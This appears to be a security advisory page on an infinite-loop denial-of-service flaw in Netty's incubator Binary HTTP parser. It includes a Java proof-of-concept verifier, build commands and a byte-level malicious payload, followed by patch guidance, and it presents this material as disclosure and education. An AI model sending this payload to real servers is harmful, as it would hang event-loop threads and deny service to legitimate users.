Listen to this Post
The vulnerability resides in the Binary HTTP parser implementation of the Netty incubator codec for BHTTP (Binary HTTP), specifically in the `BinaryHttpParser` class. When parsing a known‑length field section, the parser tracks the remaining bytes via `fieldSectionLength` and repeatedly invokes `readFieldLine()` until that length reaches zero. Under normal circumstances, each call consumes at least one byte, and the loop terminates. However, a boundary condition exists where a field section ends exactly after a complete field line – meaning there is no extra byte following the line’s value. In that scenario, `readFieldLine()` determines that the line ends precisely at the end of the readable slice; it computes the total consumed bytes and, because the line’s value length plus the name length equals the remaining slice length, it returns `null` without advancing the reader index. The calling loop then calculates read = readableBytes - in.readableBytes(), which yields zero, and subtracts that zero from fieldSectionLength. With JVM assertions disabled (the default in production), the `assert read > 0` check is ignored, so the loop does not break and instead continues indefinitely, consuming no bytes and never returning. This effectively hangs the parsing thread, leading to a denial‑of‑service condition. The malformed payload is tiny – for example, a field section length of 4, followed by a name length of 1 (character ‘a’) and a value length of 1 (character ‘b’) – and can be sent by any remote peer that can deliver Binary HTTP input to a Netty pipeline using `BinaryHttpParser` or BinaryHttpDecoder. Even when used behind Oblivious HTTP (OHTTP), the same parser is invoked after successful decryption, so authenticated/decryptable OHTTP peers can trigger the hang. The issue was identified in production environments where assertions are off; with assertions enabled, the same payload fails immediately, confirming the non‑progress condition. The parser is used in Netty‑based servers and clients that handle BHTTP messages, and the infinite loop can pin the event‑loop thread, starving other channels and degrading overall system availability. The vendor has acknowledged the flaw and provided remediation recommendations, including a production runtime guard to throw an exception when a loop iteration makes no progress.
DailyCVE Form:
Platform: Netty incubator codec-bhttp
Version: 0.0.1 – 0.0.3
Vulnerability: Infinite loop (Denial of Service)
Severity: High
date: 2024-09-17
Prediction: Fixed in version 0.0.4 (patch released 2024-09-19)
What Undercode Say:
Compile the module and collect classpath ./mvnw -q -pl codec-bhttp -am compile test-compile ./mvnw -q -pl codec-bhttp dependency:build-classpath -Dmdep.outputFile=/tmp/codec-bhttp-cp.txt printf '%s' "codec-bhttp/target/classes:$(cat /tmp/codec-bhttp-cp.txt)" > /tmp/codec-bhttp-run-cp.txt Run the minimal verifier with assertions disabled timeout 3 java -cp "/tmp:$(cat /tmp/codec-bhttp-run-cp.txt)" VerifyBhttpHang Expected exit code 124 (timeout) indicates hang
// VerifyBhttpHang.java – PoC verifier
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.incubator.codec.bhttp.BinaryHttpParser;
import io.netty.incubator.codec.bhttp.VarIntCodecUtils;
import java.nio.charset.StandardCharsets;
public final class VerifyBhttpHang {
private static void writeAscii(ByteBuf out, String value) {
VarIntCodecUtils.writeVariableLengthInteger(out, value.length());
out.writeCharSequence(value, StandardCharsets.US_ASCII);
}
public static void main(String[] args) {
ByteBuf buffer = Unpooled.buffer();
VarIntCodecUtils.writeVariableLengthInteger(buffer, 0); // known-length request
writeAscii(buffer, "GET");
writeAscii(buffer, "https");
writeAscii(buffer, "example.com");
writeAscii(buffer, "/");
VarIntCodecUtils.writeVariableLengthInteger(buffer, 4); // field section length
writeAscii(buffer, "a");
writeAscii(buffer, "b");
new BinaryHttpParser(8192).parse(buffer, false);
System.out.println("returned");
}
}
Exploit: (Educational Purposes!)
To reproduce the hang, send a BHTTP message whose known‑length field section contains exactly one complete field line and ends precisely at the section boundary. The minimal payload (in bytes) is:
– VarInt for request type: 0x00
– For each field (method, scheme, authority, path), write its length and value as per BHTTP encoding.
– Then write the field section length as VarInt 0x04 (value 4).
– Then write name length 0x01, name ‘a’, value length 0x01, value ‘b’.
This crafted input triggers the parser’s loop to subtract zero repeatedly, causing indefinite blocking of the parsing thread.
Protection: from this CVE
- Upgrade to version 0.0.4 or later of
io.netty.incubator:netty-incubator-codec-bhttp. - If upgrading is not immediately possible, apply the suggested remediation:
– In BinaryHttpParser.readFieldSection(), treat `readFieldLine() == null` as incomplete input and return `null` rather than continuing.
– Modify boundary checks in `readFieldLine()` to accept a complete field line that ends exactly at the known field‑section boundary without requiring an extra byte.
– Add a production runtime guard that throws a controlled decoder exception if a parser loop iteration makes no progress (i.e., read == 0).
3. Enable assertions in test environments to catch such boundary conditions early.
Impact: A remote attacker who can send crafted Binary HTTP input can cause the Netty parser to enter an infinite loop, consuming 100% CPU on the event‑loop thread. This prevents the thread from processing other channels, leading to denial of service. In OHTTP deployments, the vulnerability is exploitable only after successful decryption, so only authenticated peers can trigger it, but it still compromises availability of the service.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
